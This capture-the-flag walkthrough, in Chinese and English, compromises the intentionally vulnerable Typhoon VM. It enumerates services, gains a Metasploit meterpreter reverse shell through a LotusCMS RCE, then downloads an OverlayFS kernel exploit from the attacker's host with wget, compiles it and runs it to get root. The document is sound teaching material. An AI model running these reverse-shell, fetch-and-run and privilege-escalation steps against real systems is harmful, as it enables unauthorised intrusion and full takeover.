

Key Techniques

- Web Enumeration
- CMS Exploitation
- Linux Privilege Escalation

Reconnaissance

首先进行nmap扫描, 获取初始信息

```
1 $ nmap -sn 192.168.36.0/24
2 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-23 21:19 +0800
3 Nmap scan report for xiaoqiang (192.168.36.1)
4 Host is up (0.013s latency).
5 MAC Address: 50:4F:3B:0D:6A:DC (Beijing Xiaomi Mobile Software)
6 Nmap scan report for typhoon (192.168.36.8)
7 Host is up (0.00032s latency).
8 MAC Address: 08:00:27:43:05:88 (Oracle VirtualBox virtual NIC)
9 Nmap scan report for ROG (192.168.36.231)
10 Host is up (0.00026s latency).
11 MAC Address: 58:1C:F8:FA:26:CA (Intel Corporate)
12 Nmap scan report for kali (192.168.36.209)
13 Host is up.
14 Nmap done: 256 IP addresses (4 hosts up) scanned in 2.10 seconds
15
```

```
1 $ nmap -T4 -A -F 192.168.36.8
2 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-23 21:20 +0800
3 Nmap scan report for typhoon (192.168.36.8)
4 Host is up (0.00068s latency).
5 Not shown: 83 closed tcp ports (reset)
6 Bug in imap-capabilities: no string output.
7 PORT      STATE SERVICE      VERSION
8 21/tcp    open  ftp          vsftpd 3.0.2
9 |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
10 | ftp-syst:
11 |   STAT:
12 | FTP server status:
13 |   Connected to 192.168.36.209
14 |   Logged in as ftp
15 |   TYPE: ASCII
16 |   No session bandwidth limit
17 |   Session timeout in seconds is 300
18 |   Control connection is plain text
19 |   Data connections will be plain text
20 |   At session startup, client count was 1
21 |   vsFTPD 3.0.2 - secure, fast, stable
22 |_End of status
23 22/tcp    open  ssh          openssh 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
```

```

24 | ssh-hostkey:
25 |   1024 02:df:b3:1b:01:dc:5e:fd:f9:96:d7:5b:b7:d6:7b:f9 (DSA)
26 |   2048 de:af:76:27:90:2a:8f:cf:0b:2f:22:f8:42:36:07:dd (RSA)
27 |   256 70:ae:36:6c:42:7d:ed:1b:c0:40:fc:2d:00:8d:87:11 (ECDSA)
28 |_  256 bb:ce:f2:98:64:f7:8f:ae:f0:dd:3c:23:3b:a6:0f:61 (ED25519)
29 25/tcp  open  smtp          Postfix smtpd
30 | ssl-cert: Subject: commonName=typhoon
31 | Not valid before: 2018-10-22T19:38:20
32 |_Not valid after:  2028-10-19T19:38:20
33 |_smtp-commands: typhoon, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
    ENHANCEDSTATUSCODES, 8BITMIME, DSN
34 |_ssl-date: TLS randomness does not represent time
35 53/tcp  open  domain          ISC BIND 9.9.5-3 (Ubuntu Linux)
36 | dns-nsid:
37 |_  bind.version: 9.9.5-3-Ubuntu
38 80/tcp  open  http            Apache httpd 2.4.7 ((Ubuntu))
39 |_http-title: Typhoon vulnerable VM by PRISMA CSI
40 |_http-server-header: Apache/2.4.7 (Ubuntu)
41 | http-robots.txt: 1 disallowed entry
42 |_/_mongoadmin/
43 110/tcp open  pop3?
44 | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
45 | Not valid before: 2018-10-22T19:38:49
46 |_Not valid after:  2028-10-21T19:38:49
47 |_ssl-date: TLS randomness does not represent time
48 111/tcp open  rpcbind         2-4 (RPC #100000)
49 | rpcinfo:
50 |   program version    port/proto  service
51 |   100005  1,2,3          47642/tcp6  mountd
52 |   100005  1,2,3          49511/tcp   mountd
53 |   100005  1,2,3          56075/udp   mountd
54 |   100005  1,2,3          58140/udp6  mountd
55 |   100021  1,3,4          33605/udp6  nlockmgr
56 |   100021  1,3,4          49313/udp   nlockmgr
57 |   100021  1,3,4          51953/tcp   nlockmgr
58 |   100021  1,3,4          55893/tcp6  nlockmgr
59 |   100227  2,3            2049/tcp    nfs_acl
60 |   100227  2,3            2049/tcp6   nfs_acl
61 |   100227  2,3            2049/udp    nfs_acl
62 |_  100227  2,3            2049/udp6   nfs_acl
63 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
64 143/tcp open  imap          Dovecot imapd
65 | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
66 | Not valid before: 2018-10-22T19:38:49
67 |_Not valid after:  2028-10-21T19:38:49
68 |_ssl-date: TLS randomness does not represent time
69 445/tcp open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
70 631/tcp open  ipp           CUPS 1.7
71 | http-robots.txt: 1 disallowed entry
72 |_/_
73 |_http-server-header: CUPS/1.7 IPP/2.1
74 |_http-title: Home - CUPS 1.7.2
75 | http-methods:

```

```
76 |_ Potentially risky methods: PUT
77 993/tcp open ssl/imap Dovecot imapd
78 | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
79 | Not valid before: 2018-10-22T19:38:49
80 |_Not valid after: 2028-10-21T19:38:49
81 |_ssl-date: TLS randomness does not represent time
82 995/tcp open ssl/pop3s?
83 | ssl-cert: Subject: commonName=typhoon/organizationName=Dovecot mail server
84 | Not valid before: 2018-10-22T19:38:49
85 |_Not valid after: 2028-10-21T19:38:49
86 |_ssl-date: TLS randomness does not represent time
87 2049/tcp open nfs_acl 2-3 (RPC #100227)
88 3306/tcp open mysql MySQL (unauthorized)
89 5432/tcp open postgresql PostgreSQL DB 9.3.3 - 9.3.5
90 | ssl-cert: Subject: commonName=typhoon
91 | Not valid before: 2018-10-22T19:38:20
92 |_Not valid after: 2028-10-19T19:38:20
93 |_ssl-date: TLS randomness does not represent time
94 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
95 | http-methods:
96 |_ Potentially risky methods: PUT DELETE
97 |_http-open-proxy: Proxy might be redirecting requests
98 |_http-server-header: Apache-Coyote/1.1
99 |_http-title: Apache Tomcat
100 MAC Address: 08:00:27:43:05:88 (Oracle VirtualBox virtual NIC)
101 Device type: general purpose
102 Running: Linux 3.X|4.X
103 OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
104 OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
105 Network Distance: 1 hop
106 Service Info: Host: typhoon; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
107
108 Host script results:
109 | smb2-time:
110 | date: 2026-02-23T13:23:05
111 |_ start_date: N/A
112 | smb-security-mode:
113 | account_used: guest
114 | authentication_level: user
115 | challenge_response: supported
116 |_ message_signing: disabled (dangerous, but default)
117 | smb2-security-mode:
118 | 3.0:
119 |_ Message signing enabled but not required
120 |_clock-skew: mean: -39m59s, deviation: 1h09m16s, median: 0s
121 | smb-os-discovery:
122 | OS: Unix (Samba 4.1.6-Ubuntu)
123 | Computer name: typhoon
124 | NetBIOS computer name: TYPHOON\x00
125 | Domain name: local
126 | FQDN: typhoon.local
127 |_ System time: 2026-02-23T15:23:05+02:00
```

```

128 |_nbstat: NetBIOS name: TYPHOON, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
129 |
130 | TRACEROUTE
131 | HOP RTT ADDRESS
132 | 1 0.68 ms typhoon (192.168.36.8)
133 |
134 | OS and Service detection performed. Please report any incorrect results at
135 | https://nmap.org/submit/ .
136 | Nmap done: 1 IP address (1 host up) scanned in 193.03 seconds

```

```

1 | $ nmap -T4 -sV -p- 192.168.36.8
2 | Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-23 21:25 +0800
3 | Nmap scan report for typhoon (192.168.36.8)
4 | Host is up (0.00079s latency).
5 | Not shown: 65511 closed tcp ports (reset)
6 | PORT      STATE SERVICE VERSION
7 | 21/tcp    open  ftp    vsftpd 3.0.2
8 | 22/tcp    open  ssh    OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol
9 | 25/tcp    open  smtp    Postfix smtpd
10 | 53/tcp    open  domain  ISC BIND 9.9.5-3 (Ubuntu Linux)
11 | 80/tcp    open  http    Apache httpd 2.4.7 ((Ubuntu))
12 | 110/tcp   open  pop3    Dovecot pop3d
13 | 111/tcp   open  rpcbind 2-4 (RPC #100000)
14 | 139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
15 | 143/tcp   open  imap    Dovecot imapd (Ubuntu)
16 | 445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
17 | 631/tcp   open  ipp     CUPS 1.7
18 | 993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
19 | 995/tcp   open  ssl/pop3 Dovecot pop3d
20 | 2049/tcp  open  nfs     2-4 (RPC #100003)
21 | 3306/tcp  open  mysql   MySQL (unauthorized)
22 | 5432/tcp  open  postgresql PostgreSQL DB 9.3.3 - 9.3.5
23 | 6379/tcp  open  redis   Redis key-value store 4.0.11
24 | 8080/tcp  open  http    Apache Tomcat/Coyote JSP engine 1.1
25 | 27017/tcp open  mongodb MongoDB 3.0.15
26 | 34536/tcp open  mountd  1-3 (RPC #100005)
27 | 43377/tcp open  status  1 (RPC #100024)
28 | 49511/tcp open  mountd  1-3 (RPC #100005)
29 | 51953/tcp open  nlockmgr 1-4 (RPC #100021)
30 | 54233/tcp open  mountd  1-3 (RPC #100005)
31 | MAC Address: 08:00:27:43:05:88 (Oracle VirtualBox virtual NIC)
32 | Service Info: Host: typhoon; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
33 |
34 | Service detection performed. Please report any incorrect results at
35 | https://nmap.org/submit/ .
36 | Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds

```

查看 robots.txt 中是否存在可利用的信息

```
1 http://192.168.36.8/robots.txt
2
3 User-agent: *
4 Disallow: /mongoadmin/
```

Gobuster枚举

```
1 $ gobuster dir -u http://192.168.36.8 -w /usr/share/seclists/Discovery/Web-
  Content/common.txt -t 50
2 =====
3 Gobuster v3.8.2
4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
5 =====
6 [+] Url: http://192.168.36.8
7 [+] Method: GET
8 [+] Threads: 50
9 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
10 [+] Negative Status codes: 404
11 [+] User Agent: gobuster/3.8.2
12 [+] Timeout: 10s
13 =====
14 Starting gobuster in directory enumeration mode
15 =====
16 assets (Status: 301) [Size: 312] [--> http://192.168.36.8/assets/]
17 calendar (Status: 301) [Size: 314] [--> http://192.168.36.8/calendar/]
18 .htpasswd (Status: 403) [Size: 288]
19 cgi-bin/ (Status: 403) [Size: 287]
20 cms (Status: 301) [Size: 309] [--> http://192.168.36.8/cms/]
21 drupal (Status: 301) [Size: 312] [--> http://192.168.36.8/drupal/]
22 .htaccess (Status: 403) [Size: 288]
23 .hta (Status: 403) [Size: 283]
24 index.html (Status: 200) [Size: 3529]
25 javascript (Status: 301) [Size: 316] [--> http://192.168.36.8/javascript/]
26 phpmyadmin (Status: 301) [Size: 316] [--> http://192.168.36.8/phpmyadmin/]
27 server-status (Status: 403) [Size: 292]
28 robots.txt (Status: 200) [Size: 37]
29 Progress: 4750 / 4750 (100.00%)
30 =====
31 Finished
32 =====
```

Initial Access & Exploitation

```
1 http://192.168.36.8:8080/manager/html
2
3 For example, to add the manager-gui role to a user named tomcat with a password of
  s3cret, add the following to the config file listed above.
```

使用了 LotusCMS 漏洞进行利用

```
1 msf > search lotus
```

```

2
3 Matching Modules
4 =====
5
6 # Name
7 Disclosure Date Rank Check Description
8
9 55 exploit/multi/http/lcms_php_exec 2011-03-
10 03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
11
12 Interact with a module by name or index. For example info 59, use 59 or use
13 exploit/windows/http/exchange_proxylogon_rce
14 After interacting with a module you can manually set a TARGET with set TARGET 'Windows
15 Command'
16
17 msf > use 55
18 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
19 msf exploit(multi/http/lcms_php_exec) > show options
20
21 Module options (exploit/multi/http/lcms_php_exec):
22
23 Name Current Setting Required Description
24 ----
25 Proxies no A proxy chain of format
26 type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h,
27 http, sapni
28 RHOSTS yes The target host(s), see
29 https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
30 RPORT 80 yes The target port (TCP)
31 SSL false no Negotiate SSL/TLS for outgoing connections
32 URI /lcms/ yes URI
33 VHOST no HTTP server virtual host
34
35 Payload options (php/meterpreter/reverse_tcp):
36
37 Name Current Setting Required Description
38 ----
39 LHOST 192.168.36.209 yes The listen address (an interface may be
40 specified)
41 LPORT 4444 yes The listen port
42
43 Exploit target:
44
45 Id Name
46 -- --
47 0 Automatic LotusCMS 3.0

```

```

47 view the full module info with the info, or info -d command.
48
49 msf exploit(multi/http/lcms_php_exec) > set rhosts 192.168.36.8
50 rhosts => 192.168.36.8
51 msf exploit(multi/http/lcms_php_exec) > set URI /cms/
52 URI => /cms/
53 msf exploit(multi/http/lcms_php_exec) > run
54 [*] Started reverse TCP handler on 192.168.36.209:4444
55 [*] Using found page param: /cms/index.php?page=index
56 [*] Sending exploit ...
57 [*] Sending stage (42137 bytes) to 192.168.36.8
58 [*] Meterpreter session 1 opened (192.168.36.209:4444 -> 192.168.36.8:42866) at 2026-
    02-23 22:12:43 +0800
59
60 meterpreter > shell
61 Process 6052 created.
62 Channel 0 created.
63 id
64 uid=33(www-data) gid=33(www-data) groups=33(www-data)
65 python3 -c "import pty;pty.spawn('/bin/bash')"
66 www-data@typhoon:/var/www/html/cms$ ls -al
67 ls -al
68 total 104
69 drwxrwxrwx 8 root      root      4096 Feb 23 16:08 .
70 drwxrwxrwx 9 root      root      4096 Oct 25 2018 ..
71 prw-r--r-- 1 www-data www-data    0 Feb 23 16:08 backpipe
72 drwxrwxrwx 2 root      root      4096 Oct 23 2018 cache
73 drwxrwxrwx 8 root      root      4096 Aug 5 2010 core
74 drwxrwxrwx 8 root      root      4096 Aug 6 2010 data
75 -rwxrwxrwx 1 root      root     23126 Jun 5 2009 favicon.ico
76 -rwxrwxrwx 1 root      root     26934 Jan 21 2007 gnu-lgpl.txt
77 -rwxrwxrwx 1 root      root      307 Jun 14 2010 index.php
78 -rwxrwxrwx 1 root      root     6789 Aug 6 2010 install.php
79 drwxrwxrwx 2 root      root      4096 Oct 23 2018 lcms
80 drwxrwxrwx 9 root      root      4096 Aug 6 2010 modules
81 -rw-r--r-- 1 root      root      153 Oct 25 2018 s.php
82 drwxrwxrwx 3 root      root      4096 Aug 6 2010 style
83 -rwxrwxrwx 1 root      root      243 Aug 5 2010 update.php
84 www-data@typhoon:/var/www/html/cms$ cd ..
85 cd ..
86 www-data@typhoon:/var/www/html$ cd ..
87 cd ..
88 www-data@typhoon:/var/www$ cd ..
89 cd ..
90 www-data@typhoon:/var$ cd ..
91 cd ..
92 www-data@typhoon:/$ ls -al
93 ls -al
94 total 113
95 drwxr-xr-x 25 root root 4096 Oct 24 2018 .
96 drwxr-xr-x 25 root root 4096 Oct 24 2018 ..
97 -rw----- 1 root root 1024 Oct 22 2018 .rnd
98 drwxr-xr-x 2 root root 4096 Oct 22 2018 bin

```

```

99  drwxr-xr-x   4 root root  1024 Oct 22  2018 boot
100  drwxr-xr-x   3 root root  4096 Oct 23  2018 build
101  drwxr-xr-x  15 root root  4020 Feb 23  2026 dev
102  drwxr-xr-x 129 root root 12288 Feb 23  2026 etc
103  drwxr-xr-x   5 root root  4096 Oct 23  2018 home
104  lrwxrwxrwx   1 root root    33 Oct 22  2018 initrd.img -> boot/initrd.img-3.13.0-32-
    generic
105  drwxr-xr-x  23 root root  4096 Oct 22  2018 lib
106  drwxr-xr-x   2 root root  4096 Oct 22  2018 lib64
107  drwx-----   2 root root 16384 Oct 22  2018 lost+found
108  drwxr-xr-x   3 root root  4096 Oct 22  2018 media
109  drwxr-xr-x   2 root root  4096 Apr 11  2014 mnt
110  drwxr-xr-x   2 root root  4096 Jul 23  2014 opt
111  dr-xr-xr-x 188 root root     0 Feb 23 15:19 proc
112  drwx-----  10 root root  4096 Oct 25  2018 root
113  drwxr-xr-x  33 root root  1140 Feb 23  2026 run
114  drwxr-xr-x   2 root root 12288 Oct 23  2018 sbin
115  drwxr-xr-x   3 root root  4096 Oct 23  2018 srv
116  dr-xr-xr-x  13 root root     0 Feb 23  2026 sys
117  drwxr-xr-x   2 root root  4096 Oct 24  2018 tab
118  drwxrwxrwt   6 root root  4096 Feb 23 16:13 tmp
119  drwxr-xr-x   2 root root  4096 Oct 23  2018 typhoon
120  drwxr-xr-x  10 root root  4096 Oct 22  2018 usr
121  drwxr-xr-x  14 root root  4096 Oct 23  2018 var
122  lrwxrwxrwx   1 root root    30 Oct 22  2018 vmlinuz -> boot/vmlinuz-3.13.0-32-generic
123  www-data@typhoon:/$ ls /home
124  ls /home
125  admin postfixuser typhoon
126  www-data@typhoon:/$ ls /typhoon
127  ls /typhoon
128  secret
129  www-data@typhoon:/$ cat /typhoon/secret
130  cat /typhoon/secret
131  test file
132  <rec0nm4st3r> R3c0n_m4steeeee3er_f14g </rec0nm4st3r>
133  www-data@typhoon:/$ ls /home/admin
134  ls /home/admin
135  www-data@typhoon:/$ ls /home/postfixuser
136  ls /home/postfixuser
137

```

因此得到了 `/home/typhoon` 下的user flag

下一步则是进行提权尝试获取 root flag

Privilege Escalation

```

1  www-data@typhoon:/$ find / -type f -perm -u=s 2>/dev/null
2  find / -type f -perm -u=s 2>/dev/null
3  /usr/sbin/uidd
4  /usr/sbin/pppd
5  /usr/bin/head
6  /usr/bin/newgrp

```

```

7 /usr/bin/chsh
8 /usr/bin/lppasswd
9 /usr/bin/pkexec
10 /usr/bin/chfn
11 /usr/bin/at
12 /usr/bin/gpasswd
13 /usr/bin/passwd
14 /usr/bin/mtr
15 /usr/bin/sudo
16 /usr/bin/procmail
17 /usr/bin/vim.basic
18 /usr/bin/traceroute6.iputils
19 /usr/lib/pt_chown
20 /usr/lib/openssh/ssh-keysign
21 /usr/lib/authbind/helper
22 /usr/lib/policykit-1/polkit-agent-helper-1
23 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
24 /usr/lib/eject/dmccrypt-get-device
25 /sbin/mount.cifs
26 /sbin/mount.nfs
27 /bin/fusermount
28 /bin/ping6
29 /bin/mount
30 /bin/ping
31 /bin/su
32 /bin/umount
33 www-data@typhoon:/$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
34 <bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
35 You do not have permission to use at.
36 id
37 id
38 id
39 id
40 ^C
41 Terminate channel 0? [y/N] n

```

使用现有的工具失败,尝试针对OS与Linux Kernel进行利用

```

1 [-] core_channel_interact: operation failed: 1
2 meterpreter > shell
3 Process 6096 created.
4 Channel 1 created.
5 id
6 uid=33(www-data) gid=33(www-data) groups=33(www-data)
7 python3 -c "import pty;pty.spawn('/bin/bash')"
8 www-data@typhoon:/var/www/html/cms$ uname -a
9 uname -a
10 Linux typhoon.local 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014
    x86_64 x86_64 x86_64 GNU/Linux
11 www-data@typhoon:/var/www/html/cms$ cat /etc/*-release
12 cat /etc/*-release
13 DISTRIB_ID=Ubuntu
14 DISTRIB_RELEASE=14.04

```

```

15 DISTRIB_CODENAME=trusty
16 DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
17 NAME="Ubuntu"
18 VERSION="14.04.1 LTS, Trusty Tahr"
19 ID=ubuntu
20 ID_LIKE=debian
21 PRETTY_NAME="Ubuntu 14.04.1 LTS"
22 VERSION_ID="14.04"
23 HOME_URL="http://www.ubuntu.com/"
24 SUPPORT_URL="http://help.ubuntu.com/"
25 BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
26

```

在Kali中进行了编译后,在靶机中无法利用

尝试了将c文件下载到靶机中进行编译,成功实现了提权

```

1 www-data@typhoon:/var/www/html/cms$ cd /tmp
2 cd /tmp
3 www-data@typhoon:/tmp$ wget http://192.168.36.209/exploit
4 wget http://192.168.36.209/exploit
5 --2026-02-23 16:25:53-- http://192.168.36.209/exploit
6 Connecting to 192.168.36.209:80... connected.
7 HTTP request sent, awaiting response... 200 OK
8 Length: 17008 (17K) [application/octet-stream]
9 Saving to: 'exploit'
10
11 100%[=====>] 17,008 --.-K/s in 0s
12
13 2026-02-23 16:25:53 (256 MB/s) - 'exploit' saved [17008/17008]
14
15 www-data@typhoon:/tmp$ ls -al
16 ls -al
17 total 48
18 drwxrwxrwt 6 root root 4096 Feb 23 16:25 .
19 drwxr-xr-x 25 root root 4096 Oct 24 2018 ..
20 drwxrwxrwt 2 root root 4096 Feb 23 2026 .ICE-unix
21 drwxrwxrwt 2 root root 4096 Feb 23 2026 .X11-unix
22 -r--r--r-- 1 www-data www-data 685 Feb 23 15:36 .htaccess
23 -rw-r--r-- 1 www-data www-data 17008 Feb 23 16:25 exploit
24 prw-r--r-- 1 www-data www-data 0 Feb 23 16:08 foo
25 drwxr-xr-x 2 tomcat7 tomcat7 4096 Feb 23 2026 hsperfdata_tomcat7
26 srwx----- 1 mongodb mongodb 0 Feb 23 2026 mongodb-27017.sock
27 drwxr-xr-x 2 tomcat7 root 4096 Feb 23 2026 tomcat7-tomcat7-tmp
28 www-data@typhoon:/tmp$ ./exploit
29 ./exploit
30 bash: ./exploit: Permission denied
31 www-data@typhoon:/tmp$ chmod +x exploit
32 chmod +x exploit
33 www-data@typhoon:/tmp$ ./exploit
34 ./exploit
35 ./exploit: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by
./exploit)

```

```

36 www-data@typhoon:/tmp$ wget http://192.168.36.209/37292.c
37 wget http://192.168.36.209/37292.c
38 --2026-02-23 16:27:38-- http://192.168.36.209/37292.c
39 Connecting to 192.168.36.209:80... connected.
40 HTTP request sent, awaiting response... 200 OK
41 Length: 5231 (5.1K) [text/x-csrc]
42 Saving to: '37292.c'
43
44 100%[=====>] 5,231 --.-K/s in 0s
45
46 2026-02-23 16:27:38 (884 MB/s) - '37292.c' saved [5231/5231]
47
48 www-data@typhoon:/tmp$ ls -al
49 ls -al
50 total 56
51 drwxrwxrwt 6 root root 4096 Feb 23 16:27 .
52 drwxr-xr-x 25 root root 4096 Oct 24 2018 ..
53 drwxrwxrwt 2 root root 4096 Feb 23 2026 .ICE-unix
54 drwxrwxrwt 2 root root 4096 Feb 23 2026 .X11-unix
55 -r--r--r-- 1 www-data www-data 685 Feb 23 15:36 .htaccess
56 -rw-r--r-- 1 www-data www-data 5231 Feb 23 16:24 37292.c
57 -rwxr-xr-x 1 www-data www-data 17008 Feb 23 16:25 exploit
58 prw-r--r-- 1 www-data www-data 0 Feb 23 16:08 foo
59 drwxr-xr-x 2 tomcat7 tomcat7 4096 Feb 23 2026 hsperfdata_tomcat7
60 srwx----- 1 mongodb mongodb 0 Feb 23 2026 mongodb-27017.sock
61 drwxr-xr-x 2 tomcat7 root 4096 Feb 23 2026 tomcat7-tomcat7-tmp
62 www-data@typhoon:/tmp$ gcc 37292.c -o exp
63 gcc 37292.c -o exp
64 www-data@typhoon:/tmp$ chmod +x exp
65 chmod +x exp
66 www-data@typhoon:/tmp$ ./exp
67 ./exp
68 spawning threads
69 mount #1
70 mount #2
71 child threads done
72 /etc/ld.so.preload created
73 creating shared library
74 # id
75 id
76 uid=0(root) gid=0(root) groups=0(root),33(www-data)
77 # ls /root
78 ls /root
79 root-flag
80 # ls /root/root-flag
81 ls /root/root-flag
82 /root/root-flag
83 # cat /root/root-flag
84 cat /root/root-flag
85 <Congrats!>
86
87 Typhoon_r00t3r!
88

```

```
89 | </Congrats!>
90 | #
91 |
```

Summary

Typhoon 是一个典型的“多漏洞选一”靶机，以下是常见的切入点：

- **Network Scanning:** 你会发现很多开放端口（SSH, HTTP, MySQL, NFS, Samba 等）
- **Web Exploitation:**
 - **LotusCMS:** 存在 RCE 漏洞
 - **Shellshock:** 位于 `/cgi-bin/` 目录下
- **Privilege Escalation:**
 - **Kernel Exploit:** 目标系统运行的是较旧的 Ubuntu，容易受到 OverlayFS 提权攻击
 - **Misconfigurations:** 检查具有 SUID 权限的文件